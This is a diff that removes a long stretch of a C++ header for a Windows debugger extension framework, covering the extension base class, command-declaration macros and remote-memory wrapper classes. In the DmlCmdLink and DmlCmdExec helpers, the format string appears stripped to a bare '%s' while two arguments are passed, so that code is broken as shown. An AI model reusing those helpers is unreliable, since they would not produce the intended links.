- ExtKnownStructMethod Method;
- bool SuppressesTypeName;
-};
-
-//----------------------------------------------------------------------------
-//
-// Pseudo-register value provider support.
-// In order to automatically advertise extended values
-// an extension should point ExtExtension::m_ProvidedValues
-// at an array of descriptors. Callbacks will then be sent
-// automatically to the provider methods when necessary.
-//
-// The final array entry should have ValueName == NULL.
-//
-//----------------------------------------------------------------------------
-
-// Value retrieval callback.
-typedef void (ExtExtension::*ExtProvideValueMethod)
- (__in ULONG Flags,
- __in PCWSTR ValueName,
- __out PULONG64 Value,
- __out PULONG64 TypeModBase,
- __out PULONG TypeId,
- __out PULONG TypeFlags);
-
-struct ExtProvidedValue
-{
- PCWSTR ValueName;
- ExtProvideValueMethod Method;
-};
-
-//----------------------------------------------------------------------------
-//
-// Base class for all extensions. An extension DLL will
-// have a single instance of a derivation of this class.
-// The instance global is automatically declared by macros.
-// As the instance is a global the initialization and uninitialization
-// is explicit instead of driven through construction and destruction.
-//
-//----------------------------------------------------------------------------
-
-class ExtExtension
-{
-public:
- ExtExtension(void);
-
- //
- // Initialization and uninitialization.
- //
-
- virtual HRESULT Initialize(void);
- virtual void Uninitialize(void);
-
- //
- // Notifications.
- //
-
- virtual void OnSessionActive(__in ULONG64 Argument);
- virtual void OnSessionInactive(__in ULONG64 Argument);
- virtual void OnSessionAccessible(__in ULONG64 Argument);
- virtual void OnSessionInaccessible(__in ULONG64 Argument);
-
- //
- // Overridable initialization state.
- //
-
- USHORT m_ExtMajorVersion;
- USHORT m_ExtMinorVersion;
- ULONG m_ExtInitFlags;
-
- ExtKnownStruct* m_KnownStructs;
- ExtProvidedValue* m_ProvidedValues;
-
- //
- // Interface and callback pointers. These
- // interfaces are retrieved on entry to an extension.
- //
-
- ExtCheckedPointer m_Advanced;
- ExtCheckedPointer m_Client;
- ExtCheckedPointer m_Control;
- ExtCheckedPointer m_Data;
- ExtCheckedPointer m_Registers;
- ExtCheckedPointer m_Symbols;
- ExtCheckedPointer m_System;
-
- // These derived interfaces may be NULL on
- // older engines which do not support them.
- // The checked pointers will automatically
- // protect access.
- ExtCheckedPointer m_Advanced2;
- ExtCheckedPointer m_Advanced3;
- ExtCheckedPointer m_Client2;
- ExtCheckedPointer m_Client3;
- ExtCheckedPointer m_Client4;
- ExtCheckedPointer m_Client5;
- ExtCheckedPointer m_Control2;
- ExtCheckedPointer m_Control3;
- ExtCheckedPointer m_Control4;
- ExtCheckedPointer m_Data2;
- ExtCheckedPointer m_Data3;
- ExtCheckedPointer m_Data4;
- ExtCheckedPointer m_Registers2;
- ExtCheckedPointer m_Symbols2;
- ExtCheckedPointer m_Symbols3;
- ExtCheckedPointer m_System2;
- ExtCheckedPointer m_System3;
- ExtCheckedPointer m_System4;
-
- //
- // Interesting information about the session.
- // These values are retrieved on entry to an extension.
- //
-
- ULONG m_OutputWidth;
-
- // Actual processor type.
- ULONG m_ActualMachine;
-
- // Current machine mode values, not actual
- // machine mode values. Generally these are
- // the ones you want to look at.
- // If you care about mixed CPU code, such as WOW64,
- // you may need to also get the actual values.
- ULONG m_Machine;
- ULONG m_PageSize;
- ULONG m_PtrSize;
- ULONG m_NumProcessors;
- ULONG64 m_OffsetMask;
-
- //
- // Queries about the current debuggee information available.
- // The type and qualifier are automatically retrieved.
- //
-
- ULONG m_DebuggeeClass;
- ULONG m_DebuggeeQual;
- ULONG m_DumpFormatFlags;
-
- bool m_IsRemote;
- bool m_OutCallbacksDmlAware;
-
- bool IsUserMode(void)
- {
- return m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS;
- }
- bool IsKernelMode(void)
- {
- return m_DebuggeeClass == DEBUG_CLASS_KERNEL;
- }
- bool IsLiveLocalUser(void)
- {
- return
- m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS &&
- m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS;
- }
- bool IsMachine32(__in ULONG Machine)
- {
- return
- Machine == IMAGE_FILE_MACHINE_I386 ||
- Machine == IMAGE_FILE_MACHINE_ARM;
- }
- bool IsCurMachine32(void)
- {
- return IsMachine32(m_Machine);
- }
- bool IsMachine64(__in ULONG Machine)
- {
- return
- Machine == IMAGE_FILE_MACHINE_AMD64 ||
- Machine == IMAGE_FILE_MACHINE_IA64;
- }
- bool IsCurMachine64(void)
- {
- return IsMachine64(m_Machine);
- }
- bool Is32On64(void)
- {
- return IsCurMachine32() && IsMachine64(m_ActualMachine);
- }
- bool CanQueryVirtual(void)
- {
- return
- m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS ||
- m_DebuggeeClass == DEBUG_CLASS_IMAGE_FILE;
- }
- bool HasFullMemBasic(void)
- {
- return
- m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS &&
- (m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS ||
- m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS_SERVER ||
- m_DebuggeeQual == DEBUG_USER_WINDOWS_DUMP ||
- (m_DebuggeeQual == DEBUG_USER_WINDOWS_SMALL_DUMP &&
- (m_DumpFormatFlags &
- DEBUG_FORMAT_USER_SMALL_FULL_MEMORY_INFO) != 0));
- }
- bool IsExtensionRemote(void)
- {
- return m_IsRemote;
- }
- bool AreOutputCallbacksDmlAware(void)
- {
- // Applies to callbacks present in client
- // at the start of the extension command.
- // If the extension changes the output callbacks
- // the value does not automatically update.
- // RefreshOutputCallbackFlags can be used
- // to update this flag after unknown output
- // callbacks are installed.
- return m_OutCallbacksDmlAware;
- }
-
- //
- // Common mode checks which throw on mismatches.
- //
-
- void RequireUserMode(void)
- {
- if (!IsUserMode())
- {
- throw ExtStatusException(S_OK, "user-mode only");
- }
- }
- void RequireKernelMode(void)
- {
- if (!IsKernelMode())
- {
- throw ExtStatusException(S_OK, "kernel-mode only");
- }
- }
-
- //
- // Output through m_Control.
- //
-
- // Defaults to DEBUG_OUTPUT_NORMAL, but can
- // be overridden to produce different output.
- // Warn, Err and Verb are convenience routines for
- // the warning, error and verbose cases.
- ULONG m_OutMask;
-
- void WINAPIV Out(__in PCSTR Format,
- ...);
- void WINAPIV Warn(__in PCSTR Format,
- ...);
- void WINAPIV Err(__in PCSTR Format,
- ...);
- void WINAPIV Verb(__in PCSTR Format,
- ...);
- void WINAPIV Out(__in PCWSTR Format,
- ...);
- void WINAPIV Warn(__in PCWSTR Format,
- ...);
- void WINAPIV Err(__in PCWSTR Format,
- ...);
- void WINAPIV Verb(__in PCWSTR Format,
- ...);
-
- void WINAPIV Dml(__in PCSTR Format,
- ...);
- void WINAPIV DmlWarn(__in PCSTR Format,
- ...);
- void WINAPIV DmlErr(__in PCSTR Format,
- ...);
- void WINAPIV DmlVerb(__in PCSTR Format,
- ...);
- void WINAPIV Dml(__in PCWSTR Format,
- ...);
- void WINAPIV DmlWarn(__in PCWSTR Format,
- ...);
- void WINAPIV DmlErr(__in PCWSTR Format,
- ...);
- void WINAPIV DmlVerb(__in PCWSTR Format,
- ...);
-
- void DmlCmdLink(__in PCSTR Text,
- __in PCSTR Cmd)
- {
- Dml("%s", Cmd, Text);
- }
- void DmlCmdExec(__in PCSTR Text,
- __in PCSTR Cmd)
- {
- Dml("%s", Cmd, Text);
- }
-
- void RefreshOutputCallbackFlags(void)
- {
- m_OutCallbacksDmlAware = false;
- if (m_Advanced2.IsSet() &&
- m_Advanced2->
- Request(DEBUG_REQUEST_CURRENT_OUTPUT_CALLBACKS_ARE_DML_AWARE,
- NULL, 0, NULL, 0, NULL) == S_OK)
- {
- m_OutCallbacksDmlAware = true;
- }
- }
-
- //
- // Wrapped text output support.
- //
-
- ULONG m_CurChar;
- ULONG m_LeftIndent;
- bool m_AllowWrap;
- bool m_TestWrap;
- ULONG m_TestWrapChars;
- // m_OutputWidth is also used.
-
- // OutWrap takes the given string and displays it
- // wrapped in the appropriate space. It doesn't
- // account for tabs, backspaces, internal returns, etc.
- // Uses all wrapping state and updates m_CurChar.
- void WrapLine(void);
- void OutWrapStr(__in PCSTR String);
- void WINAPIV OutWrapVa(__in PCSTR Format,
- __in va_list Args);
- void WINAPIV OutWrap(__in PCSTR Format,
- ...);
-
- // Wraps if the given number of characters wouldn't
- // fit on the current line.
- bool DemandWrap(__in ULONG Chars)
- {
- if (m_CurChar + Chars >= m_OutputWidth)
- {
- WrapLine();
- return true;
- }
-
- return false;
- }
-
- // Wrapping can be suppressed to allow blocks of
- // output to be unsplit but to still get cur char
- // tracking.
- void AllowWrap(__in bool Allow)
- {
- m_AllowWrap = Allow;
- }
-
- // Output can be suppressed, allowing collection
- // of character counts as a way to pre-test whether
- // a set of output will wrap.
- void TestWrap(__in bool Test)
- {
- m_TestWrap = Test;
- if (Test)
- {
- m_TestWrapChars = 0;
- }
- }
-
- //
- // A circular string buffer is available for
- // handing out multiple static strings.
- //
-
- PSTR RequestCircleString(__in ULONG Chars) throw(...);
- PSTR CopyCircleString(__in PCSTR Str) throw(...);
- PSTR PrintCircleStringVa(__in PCSTR Format,
- __in va_list Args) throw(...);
- PSTR WINAPIV PrintCircleString(__in PCSTR Format,
- ...) throw(...);
-
- //
- // String buffer with append support.
- // Throws on buffer overflow.
- //
-
- PSTR m_AppendBuffer;
- ULONG m_AppendBufferChars;
- PSTR m_AppendAt;
-
- void SetAppendBuffer(__in_ecount(BufferChars) PSTR Buffer,
- __in ULONG BufferChars);
- void AppendBufferString(__in PCSTR Str) throw(...);
- void AppendStringVa(__in PCSTR Format,
- __in va_list Args) throw(...);
- void WINAPIV AppendString(__in PCSTR Format,
- ...) throw(...);
-
- bool IsAppendStart(void)
- {
- return m_AppendAt == m_AppendBuffer;
- }
-
- //
- // Set the return status for an extension call
- // if a specific non-S_OK status needs to be returned.
- //
-
- void SetCallStatus(__in HRESULT Status);
-
- //
- // Cached symbol info. The cache is
- // automatically flushed when the backing
- // symbol info changes.
- //
-
- ULONG GetCachedSymbolTypeId(__inout PULONG64 Cookie,
- __in PCSTR Symbol,
- __out PULONG64 ModBase);
- ULONG GetCachedFieldOffset(__inout PULONG64 Cookie,
- __in PCSTR Type,
- __in PCSTR Field,
- __out_opt PULONG64 ModBase = NULL,
- __out_opt PULONG TypeId = NULL);
- bool GetCachedSymbolInfo(__in ULONG64 Cookie,
- __out PDEBUG_CACHED_SYMBOL_INFO Info);
- bool AddCachedSymbolInfo(__in PDEBUG_CACHED_SYMBOL_INFO Info,
- __in bool ThrowFailure,
- __out PULONG64 Cookie);
-
- //
- // Module information helpers.
- //
-
- void GetModuleImagehlpInfo(__in ULONG64 ModBase,
- __out struct _IMAGEHLP_MODULEW64* Info);
- bool ModuleHasGlobalSymbols(__in ULONG64 ModBase);
- bool ModuleHasTypeInfo(__in ULONG64 ModBase);
-
- //
- // Incoming argument parsing results.
- // Results are guaranteed to obey the form
- // of the argument description for a command.
- // Mismatched usage, such as a string retrieval
- // for a numeric argument, will result in an exception.
- //
-
- ULONG GetNumUnnamedArgs(void)
- {
- return m_NumUnnamedArgs;
- }
-
- PCSTR GetUnnamedArgStr(__in ULONG Index) throw(...);
- ULONG64 GetUnnamedArgU64(__in ULONG Index) throw(...);
- bool HasUnnamedArg(__in ULONG Index)
- {
- return Index < m_NumUnnamedArgs;
- }
-
- PCSTR GetArgStr(__in PCSTR Name,
- __in bool Required = true) throw(...);
- ULONG64 GetArgU64(__in PCSTR Name,
- __in bool Required = true) throw(...);
- bool HasArg(__in PCSTR Name)
- {
- return FindArg(Name, false) != NULL;
- }
- bool HasCharArg(__in CHAR Name)
- {
- CHAR NameStr[2] = {Name, 0};
- return FindArg(NameStr, false) != NULL;
- }
-
- bool SetUnnamedArg(__in ULONG Index,
- __in_opt PCSTR StrArg,
- __in ULONG64 NumArg,
- __in bool OnlyIfUnset = false) throw(...);
- bool SetUnnamedArgStr(__in ULONG Index,
- __in PCSTR Arg,
- __in bool OnlyIfUnset = false) throw(...)
- {
- return SetUnnamedArg(Index, Arg, 0, OnlyIfUnset);
- }
- bool SetUnnamedArgU64(__in ULONG Index,
- __in ULONG64 Arg,
- __in bool OnlyIfUnset = false) throw(...)
- {
- return SetUnnamedArg(Index, NULL, Arg, OnlyIfUnset);
- }
-
- bool SetArg(__in PCSTR Name,
- __in_opt PCSTR StrArg,
- __in ULONG64 NumArg,
- __in bool OnlyIfUnset = false) throw(...);
- bool SetArgStr(__in PCSTR Name,
- __in PCSTR Arg,
- __in bool OnlyIfUnset = false) throw(...)
- {
- return SetArg(Name, Arg, 0, OnlyIfUnset);
- }
- bool SetArgU64(__in PCSTR Name,
- __in ULONG64 Arg,
- __in bool OnlyIfUnset = false) throw(...)
- {
- return SetArg(Name, NULL, Arg, OnlyIfUnset);
- }
-
- PCSTR GetRawArgStr(void)
- {
- return m_RawArgStr;
- }
- PSTR GetRawArgCopy(void)
- {
- // This string may be chopped up if
- // the default argument parsing occurred.
- return m_ArgCopy;
- }
-
- PCSTR GetExpr64(__in PCSTR Str,
- __in bool Signed,
- __in ULONG64 Limit,
- __out PULONG64 Val) throw(...);
- PCSTR GetExprU64(__in PCSTR Str,
- __in ULONG64 Limit,
- __out PULONG64 Val) throw(...)
- {
- return GetExpr64(Str, false, Limit, Val);
- }
- PCSTR GetExprS64(__in PCSTR Str,
- __in LONG64 Limit,
- __out PLONG64 Val) throw(...)
- {
- return GetExpr64(Str, true, (ULONG64)Limit, (PULONG64)Val);
- }
-
- void DECLSPEC_NORETURN ThrowCommandHelp(void) throw(...)
- {
- if (m_CurCommand)
- {
- HelpCommand(m_CurCommand);
- }
- throw ExtStatusException(E_INVALIDARG);
- }
- void ThrowInterrupt(void) throw(...)
- {
- if (m_Control->GetInterrupt() == S_OK)
- {
- throw ExtInterruptException();
- }
- }
- void DECLSPEC_NORETURN ThrowOutOfMemory(void) throw(...)
- {
- throw ExtStatusException(E_OUTOFMEMORY);
- }
- void DECLSPEC_NORETURN ThrowContinueSearch(void) throw(...)
- {
- throw ExtStatusException(DEBUG_EXTENSION_CONTINUE_SEARCH);
- }
- void DECLSPEC_NORETURN ThrowReloadExtension(void) throw(...)
- {
- throw ExtStatusException(DEBUG_EXTENSION_RELOAD_EXTENSION);
- }
- void DECLSPEC_NORETURN WINAPIV ThrowInvalidArg(__in PCSTR Format,
- ...) throw(...);
- void DECLSPEC_NORETURN WINAPIV ThrowRemote(__in HRESULT Status,
- __in PCSTR Format,
- ...) throw(...);
- void DECLSPEC_NORETURN WINAPIV ThrowStatus(__in HRESULT Status,
- __in PCSTR Format,
- ...) throw(...);
- void DECLSPEC_NORETURN WINAPIV
- ThrowLastError(__in PCSTR Message = NULL) throw(...)
- {
- ExtStatusException Ex(HRESULT_FROM_WIN32(GetLastError()),
- Message);
- throw Ex;
- }
-
- //
- // Internal data.
- //
-
- static HMODULE s_Module;
- static char s_String[2000];
- static char s_CircleStringBuffer[2000];
- static char* s_CircleString;
-
- ExtCommandDesc* m_Commands;
- ULONG m_LongestCommandName;
- HRESULT m_CallStatus;
- HRESULT m_MacroStatus;
-
- struct ArgVal
- {
- PCSTR Name;
- PCSTR StrVal;
- ULONG64 NumVal;
- };
- static const ULONG s_MaxArgs = 64;
-
- ExtCommandDesc* m_CurCommand;
- PCSTR m_RawArgStr;
- PSTR m_ArgCopy;
- ULONG m_NumArgs;
- ULONG m_NumNamedArgs;
- ULONG m_NumUnnamedArgs;
- ULONG m_FirstNamedArg;
- // Unnamed args are packed in the front.
- ArgVal m_Args[s_MaxArgs];
-
- bool m_ExInitialized;
-
- void ExInitialize(void) throw(...);
-
- HRESULT Query(__in PDEBUG_CLIENT Start);
- void Release(void);
-
- HRESULT CallCommandMethod(__in ExtCommandDesc* Desc,
- __in_opt PCSTR Args);
- HRESULT CallCommand(__in ExtCommandDesc* Desc,
- __in PDEBUG_CLIENT Client,
- __in_opt PCSTR Args);
-
- HRESULT CallKnownStructMethod(__in ExtKnownStruct* Struct,
- __in ULONG Flags,
- __in ULONG64 Offset,
- __out_ecount(*BufferChars) PSTR Buffer,
- __inout PULONG BufferChars);
- HRESULT CallKnownStruct(__in PDEBUG_CLIENT Client,
- __in ExtKnownStruct* Struct,
- __in ULONG Flags,
- __in ULONG64 Offset,
- __out_ecount(*BufferChars) PSTR Buffer,
- __inout PULONG BufferChars);
- HRESULT HandleKnownStruct(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __in ULONG64 Offset,
- __in_opt PCSTR TypeName,
- __out_ecount(*BufferChars) PSTR Buffer,
- __inout PULONG BufferChars);
-
- HRESULT HandleQueryValueNames(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __out_ecount(BufferChars) PWSTR Buffer,
- __in ULONG BufferChars,
- __out PULONG BufferNeeded);
- HRESULT CallProvideValueMethod(__in ExtProvidedValue* ExtVal,
- __in ULONG Flags,
- __out PULONG64 Value,
- __out PULONG64 TypeModBase,
- __out PULONG TypeId,
- __out PULONG TypeFlags);
- HRESULT HandleProvideValue(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __in PCWSTR Name,
- __out PULONG64 Value,
- __out PULONG64 TypeModBase,
- __out PULONG TypeId,
- __out PULONG TypeFlags);
-
- ArgVal* FindArg(__in PCSTR Name,
- __in bool Required) throw(...);
- PCSTR SetRawArgVal(__in ExtCommandDesc::ArgDesc* Check,
- __in_opt ArgVal* Val,
- __in bool ExplicitVal,
- __in_opt PCSTR StrVal,
- __in bool StrWritable,
- __in ULONG64 NumVal) throw(...);
- void ParseArgs(__in ExtCommandDesc* Desc,
- __in_opt PCSTR Args) throw(...);
-
- void OutCommandArg(__in ExtCommandDesc::ArgDesc* Arg,
- __in bool Separate);
- void HelpCommandArgsSummary(__in ExtCommandDesc* Desc);
- void HelpCommand(__in ExtCommandDesc* Desc);
- void HelpCommandName(__in PCSTR Name);
- void HelpAll(void);
- void help(void);
-};
-
-//----------------------------------------------------------------------------
-//
-// Global forwarders for common methods.
-//
-//----------------------------------------------------------------------------
-
-#if !defined(EXT_NO_OUTPUT_FUNCTIONS)
-
-void WINAPIV ExtOut(__in PCSTR Format, ...);
-void WINAPIV ExtWarn(__in PCSTR Format, ...);
-void WINAPIV ExtErr(__in PCSTR Format, ...);
-void WINAPIV ExtVerb(__in PCSTR Format, ...);
-
-#endif // #if !defined(EXT_NO_OUTPUT_FUNCTIONS)
-
-//----------------------------------------------------------------------------
-//
-// Supporting macros and utilities.
-//
-//----------------------------------------------------------------------------
-
-// If you wish to override the class name that is used
-// as the derivation from ExtExtension define it
-// before including this file. Otherwise the class
-// will be named 'Extension'.
-#ifndef EXT_CLASS
-#define EXT_CLASS Extension
-#endif
-
-extern ExtCheckedPointer g_Ext;
-extern ExtExtension* g_ExtInstancePtr;
-
-// Put a single use of this macro in one source file.
-#define EXT_DECLARE_GLOBALS() \
-EXT_CLASS g_ExtInstance; \
-ExtExtension* g_ExtInstancePtr = &g_ExtInstance
-
-// Use this macro to forward-declare a command method in your class
-// declaration.
-#define EXT_COMMAND_METHOD(_Name) \
-void _Name(void)
-
-//----------------------------------------------------------------------------
-//
-// Use this macro to declare an extension command implementation. It
-// will declare the base function that will be exported and
-// will start a method on your class for the command
-// implementation.
-//
-// The description string given will automatically be wrapped to
-// fit the space it is being displayed in. Newlines can be embedded
-// to force a new line but are not necessary for formatting.
-//
-// The argument string describes the arguments expected by the
-// command. It is a sequence of the following two major components.
-//
-// Directives: {{}}
-//
-// Indicates a special non-argument directive. Directives are:
-// custom - Extension does its own argument parsing.
-// Default parsing is disabled.
-// l: - Custom long argument description. The
-// long argument description is a full description
-// for each argument.
-// opt: - Defines the option prefix characters for
-// commands that don't want to use the default
-// / and -.
-// s: - Custom short argument description. The
-// short argument description is the argument summary
-// shown with the command name.
-//
-// Examples:
-//
-// {{custom}}{{s: }}{{l:arg1 - Argument 1\narg2 - Argument 2}}
-//
-// This defines an extension command that parses its own arguments.
-// Such a command should give custom help strings so that the automatic
-// !help support has something to display, such as the short and
-// long descriptions given here.
-//
-// {{opt:+:}}
-//
-// This changes the argument option prefix characters to + and :,
-// so that +arg and :arg can be used instead of /arg and -arg.
-//
-// Arguments: {[];[[,]];[];[]}
-//
-// Defines an argument for the extension. An argument
-// has several parts.
-//
-// - Gives the argument's option name that is given
-// in an argument string to pass the argument.
-// Arguments can be unnamed if they are going
-// to be handed positionally. Unnamed arguments
-// are processed in the order given.
-//
-// - Indicates the type of the argument. The possibilities are:
-// b - Boolean (present/not-present) argument, for flags.
-// e[d][s][] - Expression argument for getting numeric values.
-// d - Indicates that the expression should be limited
-// to the next space-delimited subset of the overall
-// argument string. This prevents accidental evaluation
-// of other data following the expression and so
-// can avoid otherwise unnecessary symbol resolution.
-// s - Indicates the value is signed and a
-// bit-size limit can be given for values
-// that are less than 64-bit.
-// s - Space-delimited string argument.
-// x - String-to-end-of-args string argument.
-//
-// - Modifies argument behavior.
-// d= - Sets default value for argument.
-// ds - Indicates that the default value should not be
-// displayed in an argument description.
-// o - Argument is optional (default for named arguments).
-// r - Argument is required (default for unnamed arguments).
-//
-// - Argument name to show for the value in help output.
-// This is separate from the option name for non-boolean
-// arguments since they can have both a name and a value.
-// For boolean arguments the argument name is not used.
-//
-// - Long argument description to show in help output.
-//
-// Examples:
-//
-// {;e32,o,d=0x100;flags;Flags to control command}
-//
-// This defines a command with a single optional expression argument. The
-// argument value must fit in 32 bits. If the argument isn't specified
-// the default value of 0x100 will be used.
-//
-// {v;b;;Verbose mode}{;s;name;Name of object}
-//
-// This defines a command with an optional boolean /v and a required
-// unnamed string argument.
-//
-// {oname;e;expr;Address of object}{eol;x;str;Commands to use}
-//
-// This defines a command which has an optional expression argument
-// /oname and an optional end-of-string argument /eol .
-// If /eol is present it will get the remainder of the command string
-// and no further arguments will be parsed.
-//
-// /? is automatically provided for all commands unless custom
-// argument parsing is indicated.
-//
-// A NULL or empty argument string indicates no arguments.
-// Commands are currently limited to a maximum of 64 arguments.
-//
-//----------------------------------------------------------------------------
-
-#define EXT_CLASS_COMMAND(_Class, _Name, _Desc, _Args) \
-ExtCommandDesc g_##_Name##Desc(#_Name, \
- (ExtCommandMethod)&_Class::_Name, \
- _Desc, \
- _Args); \
-EXTERN_C HRESULT CALLBACK \
-_Name(__in PDEBUG_CLIENT Client, \
- __in_opt PCSTR Args) \
-{ \
- if (!g_Ext.IsSet()) \
- { \
- return E_UNEXPECTED; \
- } \
- return g_Ext->CallCommand(&g_##_Name##Desc, Client, Args); \
-} \
-void _Class::_Name(void)
-#define EXT_COMMAND(_Name, _Desc, _Args) \
- EXT_CLASS_COMMAND(EXT_CLASS, _Name, _Desc, _Args)
-
-// Checks for success and throws an exception for failure.
-#define EXT_STATUS(_Expr) \
- if (FAILED(m_MacroStatus = (_Expr))) \
- { \
- throw ExtStatusException(m_MacroStatus); \
- } else 0
-#define EXT_STATUS_MSG(_Expr, _Msg) \
- if (FAILED(m_MacroStatus = (_Expr))) \
- { \
- throw ExtStatusException(m_MacroStatus, _Msg); \
- } else 0
-#define EXT_STATUS_EMSG(_Expr) \
- if (FAILED(m_MacroStatus = (_Expr))) \
- { \
- throw ExtStatusException(m_MacroStatus, #_Expr); \
- } else 0
-
-//----------------------------------------------------------------------------
-//
-// ExtRemoteData is a simple wrapper for a piece of debuggee memory.
-// It automatically retrieves small data items and wraps
-// other common requests with throwing methods.
-//
-// Data can be named for more meaningful error messages.
-//
-//----------------------------------------------------------------------------
-
-class ExtRemoteData
-{
-public:
- ExtRemoteData(void)
- {
- Clear();
- }
- ExtRemoteData(__in ULONG64 Offset,
- __in ULONG Bytes) throw(...)
- {
- Clear();
- Set(Offset, Bytes);
- }
- ExtRemoteData(__in_opt PCSTR Name,
- __in ULONG64 Offset,
- __in ULONG Bytes) throw(...)
- {
- Clear();
- m_Name = Name;
- Set(Offset, Bytes);
- }
-
- void Set(__in ULONG64 Offset,
- __in ULONG Bytes) throw(...)
- {
- m_Offset = Offset;
- m_ValidOffset = true;
- m_Bytes = Bytes;
- if (Bytes <= sizeof(m_Data))
- {
- Read();
- }
- else
- {
- m_ValidData = false;
- m_Data = 0;
- }
- }
- void Set(__in const DEBUG_TYPED_DATA* Typed);
-
- void Read(void) throw(...);
- void Write(void) throw(...);
-
- ULONG64 GetData(__in ULONG Request) throw(...);
-
- //
- // Fixed-size primitive type queries.
- // Queries are validated against the known data size.
- //
-
- CHAR GetChar(void) throw(...)
- {
- return (CHAR)GetData(sizeof(CHAR));
- }
- UCHAR GetUchar(void) throw(...)
- {
- return (UCHAR)GetData(sizeof(UCHAR));
- }
- BOOLEAN GetBoolean(void) throw(...)
- {
- return (BOOLEAN)GetData(sizeof(BOOLEAN));
- }
- bool GetStdBool(void) throw(...)
- {
- return GetData(sizeof(bool)) != 0;
- }
- BOOL GetW32Bool(void) throw(...)
- {
- return (BOOL)GetData(sizeof(BOOL));
- }
- SHORT GetShort(void) throw(...)
- {
- return (SHORT)GetData(sizeof(SHORT));
- }
- USHORT GetUshort(void) throw(...)
- {
- return (USHORT)GetData(sizeof(USHORT));
- }
- LONG GetLong(void) throw(...)
- {
- return (LONG)GetData(sizeof(LONG));
- }
- ULONG GetUlong(void) throw(...)
- {
- return (ULONG)GetData(sizeof(ULONG));
- }
- LONG64 GetLong64(void) throw(...)
- {
- return (LONG64)GetData(sizeof(LONG64));
- }
- ULONG64 GetUlong64(void) throw(...)
- {
- return (ULONG64)GetData(sizeof(ULONG64));
- }
- float GetFloat(void) throw(...)
- {
- GetData(sizeof(float));
- return *(float *)&m_Data;
- }
- double GetDouble(void) throw(...)
- {
- GetData(sizeof(double));
- return *(double *)&m_Data;
- }
-
- //
- // Pointer-size primitive type queries.
- // The data is always promoted to the largest size.
- // Queries are validated against the known data size.
- //
-
- LONG64 GetLongPtr(void) throw(...)
- {
- return g_Ext->m_PtrSize == 8 ?
- (LONG64)GetData(g_Ext->m_PtrSize) :
- (LONG)GetData(g_Ext->m_PtrSize);
- }
- ULONG64 GetUlongPtr(void) throw(...)
- {
- return (ULONG64)GetData(g_Ext->m_PtrSize);
- }
-
- //
- // Pointer data read, with automatic sign extension.
- //
-
- ULONG64 GetPtr(void) throw(...)
- {
- return g_Ext->m_PtrSize == 8 ?
- GetData(g_Ext->m_PtrSize) :
- (LONG)GetData(g_Ext->m_PtrSize);
- }
-
- //
- // Buffer reads for larger data.
- //
-
- ULONG ReadBuffer(__out_bcount(Bytes) PVOID Buffer,
- __in ULONG Bytes,
- __in bool MustReadAll = true) throw(...);
- ULONG WriteBuffer(__in_bcount(Bytes) PVOID Buffer,
- __in ULONG Bytes,
- __in bool MustReadAll = true) throw(...);
-
- //
- // String reads.
- //
-
- PSTR GetString(__out_ecount(BufferChars) PSTR Buffer,
- __in ULONG BufferChars,
- __in ULONG MaxChars = 1024,
- __in bool MustFit = false) throw(...);
- PWSTR GetString(__out_ecount(BufferChars) PWSTR Buffer,
- __in ULONG BufferChars,
- __in ULONG MaxChars = 1024,
- __in bool MustFit = false) throw(...);
-
- PCSTR m_Name;
- ULONG64 m_Offset;
- bool m_ValidOffset;
- ULONG m_Bytes;
- ULONG64 m_Data;
- bool m_ValidData;
- bool m_Physical;
- ULONG m_SpaceFlags;
-
-protected:
- void Clear(void)
- {
- m_Name = NULL;
- m_Offset = 0;
- m_ValidOffset = false;
- m_Bytes = 0;
- m_Data = 0;
- m_ValidData = false;
- m_Physical = false;
- m_SpaceFlags = 0;
- }
-};
-
-//----------------------------------------------------------------------------
-//
-// ExtRemoteTyped is an enhanced remote data object that understands
-// data typed with type information from symbols. It is initialized
-// to a particular object by symbol or cast, after which it can
-// be used like an object of the given type.
-//
-// All expressions are C++ syntax by default.
-//
-//----------------------------------------------------------------------------
-
-class ExtRemoteTyped : public ExtRemoteData
-{
-public:
- ExtRemoteTyped(void)
- {
- Clear();
- }
- ExtRemoteTyped(__in PCSTR Expr) throw(...)
- {
- m_Release = false;
- Set(Expr);
- }
- ExtRemoteTyped(__in const DEBUG_TYPED_DATA* Typed) throw(...)
- {
- m_Release = false;
- Copy(Typed);
- }
- ExtRemoteTyped(__in const ExtRemoteTyped& Typed) throw(...)
- {
- m_Release = false;
- Copy(Typed);
- }
- ExtRemoteTyped(__in PCSTR Expr,
- __in ULONG64 Offset) throw(...)
- {
- m_Release = false;
- Set(Expr, Offset);
- }
- ExtRemoteTyped(__in PCSTR Type,
- __in ULONG64 Offset,
- __in bool PtrTo,
- __inout_opt PULONG64 CacheCookie = NULL,
- __in_opt PCSTR LinkField = NULL) throw(...)
- {
- m_Release = false;
- Set(Type, Offset, PtrTo, CacheCookie, LinkField);
- }
- ~ExtRemoteTyped(void)
- {
- Release();
- }
-
- ExtRemoteTyped& operator=(__in const DEBUG_TYPED_DATA* Typed) throw(...)
- {
- Copy(Typed);
- return *this;
- }
- ExtRemoteTyped& operator=(__in const ExtRemoteTyped& Typed) throw(...)
- {
- Copy(Typed);
- return *this;
- }
-
- void Copy(__in const DEBUG_TYPED_DATA* Typed) throw(...);
- void Copy(__in const ExtRemoteTyped& Typed) throw(...)
- {
- if (Typed.m_Release)
- {
- Copy(&Typed.m_Typed);
- }
- else
- {
- Clear();
- }
- }
-
- void Set(__in PCSTR Expr) throw(...);
- void Set(__in PCSTR Expr,
- __in ULONG64 Offset) throw(...);
- void Set(__in bool PtrTo,
- __in ULONG64 TypeModBase,
- __in ULONG TypeId,
- __in ULONG64 Offset) throw(...);
- void Set(__in PCSTR Type,
- __in ULONG64 Offset,
- __in bool PtrTo,
- __inout_opt PULONG64 CacheCookie = NULL,
- __in_opt PCSTR LinkField = NULL) throw(...);
-
- // Uses a circle string.
- void WINAPIV SetPrint(__in PCSTR Format,
- ...) throw(...);
-
- bool HasField(__in PCSTR Field)
- {
- return ErtIoctl("HasField",
- EXT_TDOP_HAS_FIELD,
- ErtIn | ErtIgnoreError,
- Field) == S_OK;
- }
